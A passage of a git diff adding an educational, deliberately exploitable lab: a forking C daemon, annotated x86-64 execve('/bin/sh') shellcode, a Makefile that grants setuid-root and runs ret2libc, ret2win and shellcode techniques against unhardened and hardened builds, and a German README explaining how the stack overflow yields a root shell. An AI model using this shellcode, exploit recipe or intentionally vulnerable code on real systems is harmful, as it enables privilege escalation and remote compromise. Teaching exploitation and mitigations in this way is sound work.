Backlog of 16 connections. */ + logmsg("listen() failed: %s", strerror(errno)); + close(fd); + return -1; + } + + return fd; +} + +/* ------------------------------------------------------------------------- */ +/* Tiny main() */ +/* ------------------------------------------------------------------------- */ + +static void usage(const char *argv0) +{ + fprintf(stderr, + "usage: %s [-h HOST] [-p PORT] [-d]\n" + "\n" + " -h HOST address to bind (default %s -- keep it on loopback!)\n" + " -p PORT TCP port to listen on (default %d)\n" + " -d daemonise: fork into the background\n" + "\n" + "WARNING: this program is intentionally exploitable. Do not run it\n" + "on any host that matters, and do not bind it to 0.0.0.0.\n", + argv0, FOOD_HOST, FOOD_PORT); +} + +int main(int argc, char **argv) +{ + const char *host = FOOD_HOST; /* Bind address, overridable with -h. */ + int port = FOOD_PORT; /* Bind port, overridable with -p. */ + int daemonise = 0; /* Set by -d. */ + int lfd; /* Listening socket fd. */ + int i; /* getopt()'s index. */ + + /* getopt() parses the command line. ":h:p:d" = h/p take args, d does not, + * leading ':' means "report missing argument as ':'". */ + while ((i = getopt(argc, argv, ":h:p:d")) != -1) { + switch (i) { + case 'h': host = optarg; break; /* host argument. */ + case 'p': port = atoi(optarg); break; /* port argument. */ + case 'd': daemonise = 1; break; /* background flag. */ + case ':': fprintf(stderr, "missing argument to -%c\n", optopt); + usage(argv[0]); + return 2; + default: usage(argv[0]); /* unknown flag. */ + return 2; + } + } + + /* Ignore SIGPIPE so a client disconnecting mid-write cannot kill us. */ + signal(SIGPIPE, SIG_IGN); + + /* Reap dead children automatically instead of accumulating zombies. */ + signal(SIGCHLD, SIG_IGN); + + /* + * Claim a private copy of stdout for logging, BEFORE any accept() can + * dup2 a client socket over fd 1. Everything logged afterwards goes to + * the real terminal or wherever stdout was pointed, never to a client. + * g_logfd is 0 or 1 only if dup() failed, in which case we fall back to + * the original stdout in logmsg(). + */ + g_logfd = dup(STDOUT_FILENO); + if (g_logfd < 0) { + g_logfd = STDOUT_FILENO; + fprintf(stderr, "food: warning: could not reserve a log descriptor\n"); + } + + lfd = make_listener(host, port); + if (lfd < 0) + return 1; + + logmsg("listening on %s:%d (pid %d) -- THIS SERVICE IS INTENTIONALLY VULNERABLE", + host, port, (int)getpid()); + + if (daemonise) { + /* Standard double-fork daemonisation so we cannot acquire a + * controlling terminal. Parent exits, intermediate exits, we survive. */ + pid_t p1 = fork(); + if (p1 < 0) { perror("fork"); return 1; } + if (p1 > 0) _exit(0); /* Original parent: go away. */ + if (setsid() < 0) perror("setsid"); + pid_t p2 = fork(); + if (p2 < 0) { perror("fork"); return 1; } + if (p2 > 0) _exit(0); /* Session leader: also go away. */ + if (chdir("/") < 0) perror("chdir"); + umask(022); /* New files default to 0644. */ + } + + /* ---- The accept loop. Runs forever. ---------------------------------- */ + for (;;) { + struct sockaddr_in peer; /* Who connected. */ + socklen_t plen = sizeof(peer); + int cfd; /* Client socket. */ + pid_t pid; /* Child pid. */ + + /* + * accept() blocks until a client arrives, then returns a *new* fd + * connected to that client. The listening fd stays open. + */ + cfd = accept(lfd, (struct sockaddr *)&peer, &plen); + if (cfd < 0) { + if (errno == EINTR || errno == ECONNABORTED) + continue; /* Transient: just try again. */ + logmsg("accept() failed: %s", strerror(errno)); + continue; + } + + /* + * Fork per connection. Reason 1: isolation -- a segfault in the + * exploit's payload kills only the child, so the daemon survives. + * Reason 2: the child can _exit() without taking the server down. + */ + pid = fork(); + if (pid < 0) { + logmsg("fork() failed: %s", strerror(errno)); + close(cfd); + continue; + } + + if (pid == 0) { + /* ---- Child: serve exactly one client, then die. -------------- */ + close(lfd); /* Release our copy of the listening socket. */ + handle_client(cfd); + /* If the exploit worked, we never get here. If it did not, exit. */ + _exit(0); + } + + /* ---- Parent: close our copy of the client socket and go around. -- */ + close(cfd); + } + + /* Not reached: the accept loop is infinite. */ +} diff --git a/shellcode.S b/shellcode.S new file mode 100644 index 0000000..be13c91 --- /dev/null +++ b/shellcode.S @@ -0,0 +1,140 @@ +; =========================================================================== +; shellcode.S -- the reference version of the 23 bytes embedded in fooc.c +; =========================================================================== +; +; This file exists for ONE reason: to let you prove that the `SHELLCODE[]` +; array in fooc.c is exactly the machine code you would get from assembling +; these instructions. It is not used by the exploit, which carries the bytes +; inline so it has no runtime dependency on nasm. +; +; make verify-shellcode assembles this and diffs it against fooc.c +; +; WHAT IT DOES +; ------------ +; execve("/bin/sh", argv = NULL, envp = NULL) +; +; ... and that is the whole payload. There is no loop, no decoder, no +; egg-hunter: 23 bytes that turn the process into a shell. +; +; THE ABI +; ------- +; The System V AMD64 calling convention, and the kernel's syscall convention, +; agree on the register layout, which is why one sequence serves both: +; +; rdi 1st argument -> the pathname +; rsi 2nd argument -> argv +; rdx 3rd argument -> envp +; rax syscall number -> 59 = execve +; +; Passing argv = NULL makes the kernel synthesise argv[0] from the pathname, +; and envp = NULL gives the new program an empty environment. The shell runs +; fine, but with no PATH, so `id` and `uname` work and bare `vi` does not -- +; a small detail that surprises people, and the reason fooc's own local shell +; uses execv() with a real environment instead. +; +; ASSEMBLY NOTES +; -------------- +; * `mov rdi, 0x68732f6e69622f` needs the REX.W prefix and a 64-bit +; immediate, so it is spelled `movabs` in AT&T syntax (or `mov r64, +; imm64` in Intel syntax). The immediate is the eight ASCII bytes +; "/bin/sh\0" read as a little-endian 64-bit number -- the NUL comes free +; because it is the high byte of the little-endian representation, which is +; the top of the string. +; +; * We `push rdi` rather than putting the string in a `.data` section +; because the payload must be position independent: it will sit at whatever +; address the target's stack (or, in a ROP chain, wherever the attacker +; chose) happens to be. RIP-relative addressing would break, `push` will +; not. +; +; * `push 0x3b; pop rax` is the idiomatic 2-byte way to load a small syscall +; number. `mov eax, 0x3b` is 5 bytes, which matters in a payload. +; +; * There is no `ret` at the end. execve replaces the process image and never +; returns, so anything after `syscall` is dead code. The shell you get never +; runs our bytes again -- which is why the parent process's stack, and +; therefore the corrupted return address, is irrelevant once this fires. +; +; WHY THIS IS THE THING NX BIT EXISTS TO STOP +; ------------------------------------------- +; These bytes must land on an executable page. The stack normally is not, so +; on any modern system the CPU raises SIGSEGV the moment `ret` transfers control +; into the payload. That single hardware feature is why real-world ROP chains +; look like this file and not like this file: with NX on, the attacker reuses +; code that already exists in the binary or in libc. See README.md. +; =========================================================================== + + BITS 64 + +; section .text -- mark it executable, the default, so `nasm -f bin` emits +; the instruction bytes with no ELF wrapper around them. + section .text + +; --------------------------------------------------------------------------- +; xor esi, esi +; rsi = 0 -> envp = NULL +; +; Zeroing with xor instead of `mov esi, 0` is two bytes shorter (2 vs 5) and +; the classic x86 idiom for producing a zero without a memory operand. It +; also has a side effect: the zeroing flag form skips the dependency-breaking +; trick some old CPUs needed, which no longer matters. +; --------------------------------------------------------------------------- + xor esi, esi + +; --------------------------------------------------------------------------- +; xor edx, edx +; rdx = 0 -> argv = NULL +; --------------------------------------------------------------------------- + xor edx, edx + +; --------------------------------------------------------------------------- +; movabs rdi, 0x68732f6e69622f +; rdi = the 8 bytes 2f 62 69 6e 2f 73 68 00, i.e. "/bin/sh\0" +; +; Read the immediate right-to-left as bytes and it spells the string out. +; That packing is the whole trick: eight bytes of payload in a ten-byte +; instruction, no data section, no relocation, no alignment padding. +; --------------------------------------------------------------------------- + movabs rdi, 0x68732f6e69622f + +; --------------------------------------------------------------------------- +; push rdi +; Put those eight bytes on the stack, where a string has to live so that a +; register can point at it. The stack is writable and is at a known +; (attacker-chosen) address, so this is the position-independent way to +; materialise a string constant. +; --------------------------------------------------------------------------- + push rdi + +; --------------------------------------------------------------------------- +; mov rdi, rsp +; rdi = the address of the string we just pushed = argv[0] as well as the +; pathname. Reusing one buffer for both is legal; the kernel only reads the +; pathname before it sets up the new stack, and by then argv[0] is copied. +; --------------------------------------------------------------------------- + mov rdi, rsp + +; --------------------------------------------------------------------------- +; push 0x3b +; pop rax +; rax = 59 = the __NR_execve slot in the x86-64 syscall table. +; +; Syscall numbers are part of the kernel ABI and are frozen: 0 = read, +; 1 = write, 2 = open, ..., 59 = execve. They are not sequential by function, +; they are fixed by history, which is why they are also a handy way for an +; analyst to recognise a payload. +; --------------------------------------------------------------------------- + push 0x3b + pop rax + +; --------------------------------------------------------------------------- +; syscall +; Trap into the kernel. On return, either we are a shell (success) or we +; are handed a -errno in rax and fall off the end of the payload (failure). +; --------------------------------------------------------------------------- + syscall + +; Note what is NOT here: +; * no `ret` -- execve does not return. +; * no `nop` sled -- we jump straight to the first byte. +; * no `jmp $+N` -- nothing to reach. diff --git a/suid/.gitignore b/suid/.gitignore new file mode 100644 index 0000000..828d340 --- /dev/null +++ b/suid/.gitignore @@ -0,0 +1,15 @@ +# Build products +foosd +foosd_hardened +foosc +shellcode.bin +.sc_c_raw.txt +.sc_c.txt +.sc_asm.txt +tests/pty_suid_test + +# Logs are evidence -- keep them out of git but present on disk +foosd.log +foosd_hardened.log +*.log + diff --git a/suid/Makefile b/suid/Makefile new file mode 100644 index 0000000..256acbc --- /dev/null +++ b/suid/Makefile @@ -0,0 +1,314 @@ +# ============================================================================ +# Makefile -- builds the SUID lab: the vulnerable daemon, its exploit, and +# the test harness. Companion to the parent lab's Makefile. +# ============================================================================ +# +# make build foosd, foosc and the test harness +# make setuid ONE-TIME, needs sudo: gives foosd the setuid bit and a +# root owner. THIS is what makes the exploit yield root. +# make unsetuid remove the setuid bit again when you are done +# make run start foosd on loopback (whatever uid it currently has) +# make status report the setuid state of ./foosd +# make test technique matrix (works with or without the setuid bit) +# make test-suid the matrix with --must-root on the techniques that are +# SUPPOSED to escalate (needs `make setuid` first) +# make verify prove the bytes in foosc.c equal what shellcode.S makes +# make hardened rebuild foosd with all mitigations ON (expect failure) +# make test-hardened show which techniques the mitigations kill +# make stop stop the daemon +# make clean remove build products +# +# --------------------------------------------------------------------------- +# THE SETUID STATE -- the one thing that makes this lab different +# --------------------------------------------------------------------------- +# A setuid-root binary is `root:root` with the 's' bit in its mode (rwsr-xr-x). +# The whole point of this lab is the difference between running `foosd` +# WITHOUT that state (exploits land, but the shell is a plain user shell) +# and WITH it (shellcode yields uid=0): +# +# make setuid # needs sudo, once, after any rebuild +# make run +# make test-suid +# make stop +# make unsetuid # hygiene: never leave it set +# +# IMPORTANT BUILD RULE: `make clean` can remove a root-owned binary (delete +# permissions come from the DIRECTORY), but recompiling OVER a root-owned +# file fails with "Permission denied". So after `make setuid`: +# sudo make clean # or: make unsetuid, then make, then make setuid +# ============================================================================ + +CC ?= gcc +CSTD := -std=c99 + +# We do NOT use -Werror: the deliberate overflow triggers +# -Wstringop-overflow in foosd.c and that warning is supposed to fire. +WARN := -Wall -Wextra +DBG := -O0 -g + +# --- the vulnerable build ----------------------------------------------------- +# Same deliberate removals as the parent lab, now with a SUID twist: dropping +# the canary, PIE and NX is what makes the techniques reachable, but NONE of +# them has anything to do with the +s bit. A hardened build of this same +# source is still a SUID binary -- just a harder-to-abuse one. +VULN := -fno-stack-protector -no-pie -z execstack + +# --- the hardened build ------------------------------------------------------- +HARDEN := -fstack-protector-strong -fPIE -pie -z noexecstack + +TESTCFLAGS := $(CSTD) $(DBG) $(WARN) + +# Port: kept distinct from the parent lab's 2342 so both can run together. +PORT ?= 2343 + +all: foosd foosc tests/pty_suid_test + +# ----------------------------------------------------------------------------- +# The daemon. It becomes SUID later via `make setuid`; the build itself is +# ordinary (a setuid bit is a filesystem attribute, not a linker flag). +# ----------------------------------------------------------------------------- +foosd: foosd.c + $(CC) $(CSTD) $(DBG) $(WARN) $(VULN) -o $@ $< + +# ----------------------------------------------------------------------------- +# The exploit: mitigations ON (the attacker gains nothing by self-weakening). +# -ldl for dlsym(), which measures libc offsets at runtime instead of +# hardcoding numbers that break on the next glibc update. +# ----------------------------------------------------------------------------- +foosc: foosc.c + $(CC) $(CSTD) $(DBG) $(WARN) -fstack-protector-strong -o $@ $< -ldl + +tests/pty_suid_test: tests/pty_suid_test.c + $(CC) $(TESTCFLAGS) -o $@ $< + +# ----------------------------------------------------------------------------- +# setuid: install the SUID-root state. Requires root (sudo). After this, +# `./foosd` run by ANY user starts with euid 0. +# +# Note the file must be owned by root AND the surrounding directory must not +# be writable by others -- a root-owned SUID binary in a world-writable dir +# is itself a classic bug (anyone can replace or relink it as root later). +# ----------------------------------------------------------------------------- +setuid: foosd + @echo "=== giving foosd the setuid bit (needs your sudo password)" + @sudo sh -c 'chown root:root foosd && chmod u+s foosd && chmod 755 foosd' + @echo + @ls -l foosd + @echo + @echo "=== expect the owner 'root' and a mode starting with -rws (the s)." + @stat -c 'owner=%U mode=%A' foosd + @echo "=== now: make run ; make test-suid" + @echo "=== when done: make stop ; make unsetuid" + +unsetuid: + @if [ -f foosd ]; then \ + sudo chmod u-s foosd; \ + echo "=== setuid bit removed from foosd."; \ + echo "=== (It may still be owned by root; rebuild with 'make unsetuid && make' \ +or 'sudo make clean && make'.)"; \ + stat -c 'owner=%U mode=%A' foosd; \ + else \ + echo "=== foosd not built; nothing to do"; \ + fi + +# ----------------------------------------------------------------------------- +# status: what state is the binary in? The daemon also reports this in its log +# at startup, so this is just a convenience. +# ----------------------------------------------------------------------------- +status: + @if [ ! -f foosd ]; then echo "=== foosd is not built yet (make)."; exit 0; fi + @owner=$$(stat -c %U foosd); mode=$$(stat -c %A foosd); \ + echo "=== foosd: owner=$$owner mode=$$mode"; \ + case "$$mode" in -rws*) \ + echo "=== SUID state: setuid-root ACTIVE -> shellcode gives root.";; \ + *) \ + echo "=== SUID state: not setuid (yet) -> run: sudo make setuid";; \ + esac + +# ----------------------------------------------------------------------------- +# run / stop. setsid + nohup + foosd.log 2>&1 /dev/null || true + @sleep 1 + @if pgrep -x foosd >/dev/null; then \ + echo "=== foosd is running (pid $$(pgrep -x foosd | head -1))"; \ + echo "=== stack segment -- 'rwxp' means executable (needed for shellcode):"; \ + grep '\[stack\]' /proc/$$(pgrep -x foosd | head -1)/maps; \ + echo "=== startup log line (uid/euid state):"; \ + grep startup foosd.log; \ + else \ + echo "=== foosd failed to start; see foosd.log"; exit 1; \ + fi + +stop: + @if pgrep -x foosd >/dev/null; then \ + pkill -x foosd; sleep 0.5; \ + echo "=== foosd stopped"; \ + else \ + echo "=== foosd was not running"; \ + fi + @# Also clean up a leftover hardened daemon; it would hold the port. + @if pgrep -x foosd_hardened >/dev/null; then \ + pkill -x foosd_hardened; sleep 0.5; \ + echo "=== foosd_hardened stopped"; \ + fi + +# ----------------------------------------------------------------------------- +# test: the technique matrix. Works whether or not the setuid bit is set. +# +# shellcode / ret2win-root are the ESCALATING ones: the Makefile demands +# root ("--must-root") -- without the setuid bit +# these FAIL, which is the correct answer. +# ret2win / ret2libc are the DEMOTED ones: they land a shell, but +# bash resets euid=ruid, so root is NOT expected. +# The harness is used WITHOUT --must-root, and +# the ROOT= line printed tells the truth either +# way. +# +# The verdict is pty_suid_test's EXIT STATUS, never a grep of its output. +# ----------------------------------------------------------------------------- +test: tests/pty_suid_test + @fail=0; \ + echo "=== ret2libc (expect shell, NOT root: the shell resets euid)"; \ + ./tests/pty_suid_test -t ret2libc 2>&1 >/dev/null || fail=1; \ + echo "=== ret2win (expect shell, NOT root: win() leaves ruid set)"; \ + ./tests/pty_suid_test -t ret2win 2>&1 >/dev/null || fail=1; \ + echo "=== ret2win-root (expect ROOT shell: win_root() clears ruid)"; \ + ./tests/pty_suid_test -t ret2win-root --must-root 2>&1 >/dev/null || fail=1; \ + echo "=== shellcode (expect ROOT shell: setreuid+execve)"; \ + ./tests/pty_suid_test -t shellcode --must-root 2>&1 >/dev/null || fail=1; \ + echo; \ + if [ $$fail -eq 0 ]; then \ + echo "=== shellcode and ret2win-root escalated to root."; \ + echo "=== If you expected this WITHOUT running 'make setuid', note"; \ + echo "=== that foosd must be setuid-root for euid to be 0."; \ + else \ + echo "=== at least one technique did not behave as expected."; \ + echo "=== Check the ROOT= value above, foosd.log, and README.md."; \ + fi; \ + exit $$fail + +# ----------------------------------------------------------------------------- +# test-suid: the same matrix, but it explicitly checks the setuid state first +# so the diagnosis is obvious. Run AFTER sudo make setuid and make run. +# ----------------------------------------------------------------------------- +test-suid: tests/pty_suid_test + @if [ ! -u foosd ] || [ "$$(stat -c %U foosd)" != "root" ]; then \ + echo "!!! foosd is not setuid-root. Run: sudo make setuid"; exit 1; \ + fi + @$(MAKE) --no-print-directory test + +# ----------------------------------------------------------------------------- +# verify: prove the shellcode bytes in foosc.c are byte-for-byte what nasm +# produces from shellcode.S. A hand-maintained hex array and a hand-written +# .S file are both easy to get wrong; the diff catches it automatically. +# ----------------------------------------------------------------------------- +verify verify-shellcode: shellcode.S foosc.c + @command -v nasm >/dev/null 2>&1 || { \ + echo "verify-shellcode: nasm is not installed; skipping."; \ + echo " (Arch: pacman -S nasm)"; exit 0; } + @echo "=== Assembling shellcode.S ..." + @nasm -f bin -o shellcode.bin shellcode.S + @echo "=== nasm output:" + @od -An -tx1 -v shellcode.bin | tr -s ' \n' ' ' | sed -e 's/^ //' \ + -e 's/[[:space:]]*$$//' + @echo + @# Pull the hex list out of the C array. Strip the trailing /* */ annotations + @# first (they mention hex constants like "0x71"), then grep the literals. + @sed -n '/^static const unsigned char SHELLCODE\[\] = {/,/^};/p' foosc.c \ + | sed -e 's,/\*.*\*,,' \ + | grep -o '0x[0-9a-fA-F][0-9a-fA-F]' \ + | tr 'A-F' 'a-f' | tr '\n' ' ' | sed -e 's/^ //' -e 's/[[:space:]]*$$//' \ + > .sc_c_raw.txt + @echo "=== bytes declared in foosc.c's SHELLCODE[] array:" + @cat .sc_c_raw.txt + @echo + @echo "=== comparing ..." + @sed -e 's/0x//g' .sc_c_raw.txt > .sc_c.txt + @od -An -tx1 -v shellcode.bin | tr -s ' \n' ' ' | sed -e 's/^ //' \ + -e 's/[[:space:]]*$$//' > .sc_asm.txt + @if cmp -s .sc_c.txt .sc_asm.txt; then \ + n=$$(wc -c < shellcode.bin); \ + echo "MATCH: the $$n bytes in foosc.c are byte-for-byte what"; \ + echo " shellcode.S assembles to."; \ + rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt; \ + else \ + echo "MISMATCH -- the two differ:"; \ + diff .sc_c.txt .sc_asm.txt || true; \ + rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt; exit 1; \ + fi + +# ----------------------------------------------------------------------------- +# hardened: same source, all mitigations ON. Every technique should die at the +# canary; the point is the console contrast with the vulnerable build, and the +# reminder in README.md that a hardened build is still a SUID binary. +# ----------------------------------------------------------------------------- +hardened: foosd.c + $(CC) $(CSTD) $(DBG) $(WARN) $(HARDEN) -o foosd_hardened $< + @echo + @echo "=== foosd_hardened built with the mitigations ON." + @echo "=== Stack segment ('RW' is what you want; 'RWE' would be executable):" + @readelf -W -l foosd_hardened | grep GNU_STACK + +# test-hardened: swap the hardened daemon in, show every technique failing, +# then put the vulnerable one back exactly as it was. +test-hardened: hardened tests/pty_suid_test + @if ! pgrep -x foosd >/dev/null; then \ + echo "=== start the daemon first: make run"; exit 1; \ + fi + @$(MAKE) --no-print-directory stop + @echo "### starting foosd_hardened instead" + @setsid nohup ./foosd_hardened > foosd_hardened.log 2>&1 /dev/null || true + @sleep 1 + @if ! pgrep -x foosd_hardened >/dev/null; then \ + echo "!!! foosd_hardened did not start; see foosd_hardened.log"; \ + $(MAKE) --no-print-directory stop; exit 1; \ + fi + @echo "### stack segment: 'rw-p' (NOT executable) is what you want to see" + @grep '\[stack\]' /proc/$$(pgrep -x foosd_hardened | head -1)/maps || true + @echo + @for t in ret2libc ret2win ret2win-root shellcode; do \ + echo "=================== $$t"; \ + if ./tests/pty_suid_test -t $$t 2>&1 >/dev/null; then \ + echo "--- $$t: got a shell (report the ROOT= line above)"; \ + else \ + echo "--- $$t was stopped by the mitigations (as expected)"; \ + fi; \ + done + @echo + @$(MAKE) --no-print-directory stop + @echo "### restoring the vulnerable daemon" + @setsid nohup ./foosd > foosd.log 2>&1 /dev/null || true + @sleep 1 + @echo + @echo "=== mitigation contrast is above. See README.md." + +# ----------------------------------------------------------------------------- +# debug: rebuild for gdb and show the first breakpoints to try. +# ----------------------------------------------------------------------------- +debug: foosd.c + $(CC) $(CSTD) $(DBG) $(WARN) $(VULN) -o foosd $< + @echo "=== built ./foosd for gdb. Try:" + @echo " gdb -q ./foosd" + @echo " (gdb) break foosd.c:392 # the read() that overflows" + @echo " (gdb) run -p 2343" + @echo " (gdb) info registers rsp rbp" + +# ----------------------------------------------------------------------------- +# clean. NOTE: after `make setuid` the binary is root-owned; rm works (delete +# permission lives on the directory) but recompiling over it does not. If make +# fails with "Permission denied" here, run `sudo make clean` first. +# ----------------------------------------------------------------------------- +clean: + rm -f foosd foosc foosd_hardened shellcode.bin + rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt + rm -f tests/pty_suid_test + @echo "=== cleaned. (foosd.log is left alone; it is your evidence.)" + +.PHONY: all setuid unsetuid status run stop test test-suid verify \ + verify-shellcode hardened test-hardened debug clean \ No newline at end of file diff --git a/suid/README.DE.md b/suid/README.DE.md new file mode 100644 index 0000000..d618708 --- /dev/null +++ b/suid/README.DE.md @@ -0,0 +1,406 @@ +# SUID-Root-RCE-Labor — `foosd` (Daemon) + `foosc` (Exploit) + +Ein Begleiter zum übergeordneten Labor (`food` / `fooc`, ein gewöhnlicher +Daemon, bei dem ein Pufferüberlauf eine *Benutzer*-Shell liefert). Dieses fügt +die gefährlichste Ein-Zeichen-Änderung in Unix hinzu: das **Setuid-Bit**. + +> `chmod u+s` verwandelt „der Angreifer kann Code auf diesem Host ausführen" in +> „der Angreifer kann auf diesem Host Code als **root** ausführen". + +Dieser Satz ist das gesamte Labor. Alles darunter ist der Mechanismus darunter, +aufgeschrieben, damit du beim Schreiben eigener Software genau weißt, welche +zwei oder drei Dateisystem-Attribute und Compiler-Flags entscheiden, ob ein +Speichersicherheitsbug in deinem Code eine Belästigung oder eine Root-Shell ist. + +Die finale Demo, wenn `foosd` setuid-root ist, ist eine **Root-Shell**, die +über das Netzwerk geöffnet wird, indem 32 Bytes handgeschriebener Shellcode +ausgeführt werden. + +--- + +## 1. Was das Setuid-Bit tatsächlich tut + +Jeder Prozess unter Linux trägt drei User-IDs, und das Setuid-Bit bastelt an +der Beziehung zwischen ihnen: + +| ID | Name | Bedeutung | +|----|------|---------| +| `ruid` | reale User-ID | das Konto, das den Prozess *gestartet* hat | +| `euid` | effektive User-ID | was der Kernel bei der Durchsetzung von Zugriffsrechten prüft | +| (saved) | gespeicherte Set-User-ID | ein „Slot", in den ein privilegierter Prozess später zurückkehren darf | + +Ein normales Programm hat `ruid == euid`. Wenn du ein Binärprogramm mit +gesetztem Setuid-Bit ausführst, das root gehört: + +```text +ruid = du (z. B. 1000, "hanez") +euid = der Besitzer (z. B. 0, "root") +``` + +Der Prozess hat also **roots Autorität**, obwohl der Benutzer, der ihn +gestartet hat, völlig gewöhnlich ist. Jede Prüfung, die der Kernel durchführt — +kann dieser Prozess `/etc/shadow` lesen? eine Datei schreiben? einen anderen +Prozess töten? — wird mit `euid` beantwortet, d. h. „ja, es ist root". + +`foosd` ist ein Netzwerk-Daemon. Er bindet einen Port und `fork()`t dann pro +Verbindung ein Kind. Ein Fork *erbt* die euid, also ist auch jedes Kind, das +eine Verbindung behandelt, root. Der Overflow in `foosd`s +`vulnerable_handler()` ist daher ein Overflow *in einem Root-Prozess*. + +**Diagnostiziere es selbst, sobald der Daemon läuft:** + +```console +$ ./foosd ... # siehe die Log-Zeile beim Start +[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process +``` + +und vom Exploit aus: + +```console +$ ./foosc -t leak +foosc: target euid=0 ruid=1000 +``` + +--- + +## 2. Das Labor auf einen Blick + +| Datei | Rolle | +|------|------| +| `foosd.c` | Der absichtlich angreifbare Daemon (besitzt die Bugs). Für die Root-Shell-Demo als *setuid-root*-Binärprogramm ausführen. | +| `foosc.c` | Der Exploit. Standard: die 32-Byte-`setreuid + execve`-Shellcode-Technik. | +| `shellcode.S` | Der Referenz-Shellcode; `make verify` vergleicht ihn mit dem Byte-Array in `foosc.c`. | +| `tests/pty_suid_test.c` | Test-Harness. Treibt `foosc` durch ein Pseudo-Terminal und beweist sowohl „eine Shell lief" als auch „sie war root" (`uid=0(`). | +| `Makefile` | Build, `setuid`/`unsetuid`-Helfer, Test-Matrix. | +| `README.md` | Diese Datei. | + +> **Warum eine pty?** Die letzte Aktion des Exploits ist es, dein Terminal an +> die Shell weiterzuleiten, die auf dem Opfer läuft. Eine Pipe oder ein +> Here-Doc landet am falschen Ende dieser Weiterleitung; ein echtes Terminal +> ist erforderlich. + +--- + +## 3. Schnellstart + +```console +$ make # alles bauen, als dein normaler Benutzer +$ make setuid # einmalig, fragt nach sudo: chown root + chmod u+s +$ make run # startet foosd auf 127.0.0.1:2343 +$ make test-suid # volle Matrix; shellcode + ret2win-root müssen root ergeben +``` + +Interaktiver Smoke-Test: + +```console +$ ./foosc -t shellcode +... +foosc: target euid=0 ruid=1000 +foosc: shell is on the victim (root if foosd is SUID); relaying +# id +uid=0(root) gid=0(root) groups=0(root) <-- du bist root, auf dem Opfer +# exit +``` + +Wenn du fertig bist: + +```console +$ make stop +$ make unsetuid # Hygiene: nie ein Root-SUID-Binärprogramm liegen lassen +``` + +--- + +## 4. *Wann sollte ich das SUID-Bit setzen?* — die Antwort, die du wolltest + +Genau **einmal, nach dem Bauen, vor dem Start des Daemons für die +Root-Shell-Demos** — und nur auf einer Maschine, die dir gehört, wegwerfbar und +vom Netzwerk getrennt ist: + +```console +$ make # kompiliere foosd, foosc, tests +$ make setuid # <-- DER Moment. sudo chown root:root foosd && sudo chmod u+s foosd +$ make run # starte NACH dem Setzen des Bits +``` + +Zwei Regeln, die wichtiger sind als der exakte Zeitpunkt: + +1. **Setze es erst, wenn das Binärprogramm final ist.** Wenn du das Bit setzt + und danach neu baust (`make` / `make clean`), bekommst du beim Schreiben der + root-gehörigen Ausgabedatei ein „Permission denied" — und wenn du den + Rebuild erzwingst, erstellt die Toolchain die Datei **ohne** das `s` neu, + womit die Einrichtung still rückgängig gemacht wird. Die kanonische + Reihenfolge bei jedem Rebuild ist daher + + ```console + $ make unsetuid && make && make setuid + ``` + +2. **Entferne es, wenn du fertig bist.** `make unsetuid`. Ein lebendes, + root-gehöriges Setuid-Binärprogramm mit einem ausnutzbaren Bug in deinem + Baum ist kein Lernmittel, sondern ein Root-Loch mit einem Compilefehler + zwischen ihm und nirgendwo. Auf einer geteilten oder Produktionsmaschine: + **mach davon nichts.** Der Daemon weigert sich außerdem standardmäßig, + etwas anderes als Loopback zu binden (siehe §7). + +Wenn du den Exploit *ohne* je gesetztes Bit ausführst, bricht nichts — der +Payload landet trotzdem und du bekommst trotzdem eine Shell. Der Unterschied +steckt in einer Zahl, und der Exploit sagt sie laut: + +```console +foosc: WARNING: the daemon is NOT running with euid 0. + The payload will still land, but the shell will be + a plain user shell, not root. + Fix: sudo make setuid +``` + +Dieses „funktioniert, aber nicht root" ist selbst Teil des Labors. Behalte es +für den nächsten Abschnitt im Kopf. + +--- + +## 5. Der Mechanismus — und die Wendung, die SUID interessant macht + +### 5.1 Der Overflow (identisch zu `food`) + +`foosd`s Handler gibt einem `read()` 512 Bytes Vertrauen, während er ihm einen +64-Byte-Stack-Puffer reicht: + +```c +char buf[64]; +n = read(fd, buf, 512); /* <- CWE-120: 448 Bytes über die Kante */ +``` + +Auf x86-64 wächst der Stack nach unten. Der Exploit schreibt 64 Bytes Müll, um +`buf` zu füllen, 8, um den gespeicherten Frame-Pointer zu füllen, und 8 mehr, +um die **gespeicherte Rücksprungadresse** zu ersetzen. Wenn +`vulnerable_handler` das `ret` ausführt, poppt die CPU den Wert des Angreifers +in `RIP` — vom Angreifer kontrollierte Codeausführung. Der Exploit ermittelt +den exakten Abstand (88 Bytes für diesen Build), indem er die `objdump`-Ausgabe +parst, statt ihn hart zu verdrahten, sodass die Zahl Rebuilds überlebt. + +### 5.2 Die Wendung: Die Shell weigert sich, root zu sein + +Hier geht „SUID-Bug → /bin/sh spawne → root" fehl, und das ist der Grund, +warum dieses Labor genau diese Form hat. + +Wenn ein setuid-root-Programm läuft, ist sein `ruid` immer noch der +startende Benutzer und sein `euid` ist root. Wenn das Programm — oder der +Angreifer — jetzt eine Shell startet: + +* `execve("/bin/sh")` ändert die uids **nicht**; der neue Prozess erbt + `(ruid=1000, euid=0)`. +* bash (und dash) **prüfen genau diese Bedingung beim Start**. Aus dem + bash-Handbuch: *„If the shell is started with the effective user (group) id + not equal to the real user (group) id, and the -p option is not supplied, … + the effective user id is set to the real user id."* + +Die Shell wirft also einen Blick auf sich selbst und *lässt root fallen* — eine +Verteidigung, die die Shell-Autoren genau gegen diesen Angriff gebaut haben +(die historische Rechtfertigung war das Setuid-Shell-/Setuid-Skript-Problem). +Das Ergebnis sind die „funktioniert, aber nicht root"-Fälle: + +| Technik | Was sie ausführt | Resultierende uid | +|-----------|------------------|---------------| +| `ret2win` | `foosd`s `win()` → `execl("/bin/sh")` | **1000** — Shell gelandet, root von bash zurückgesetzt | +| `ret2libc` | `system("/bin/sh")` → frisches `sh -c '/bin/sh'` | **1000** — gleiches Zurücksetzen, eine Ebene tiefer | +| `ret2win-root` | `foosd`s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid aus C heraus geleert | +| `shellcode` | 32 Bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid aus Maschinencode geleert | + +Die beiden, die root erreichen, unterscheiden sich von den beiden, die es +nicht tun, um genau eine Idee: **sie leeren die *reale* uid, nicht nur die +effektive.** + +```c +setuid(0) /* setzt euid auf 0, aber ruid bleibt 1000: + bash sieht weiterhin euid != ruid und setzt IMMER NOCH + zurück. */ +setreuid(0, 0) /* setzt BEIDE: ruid = euid = 0. + bash sieht gleiche uids 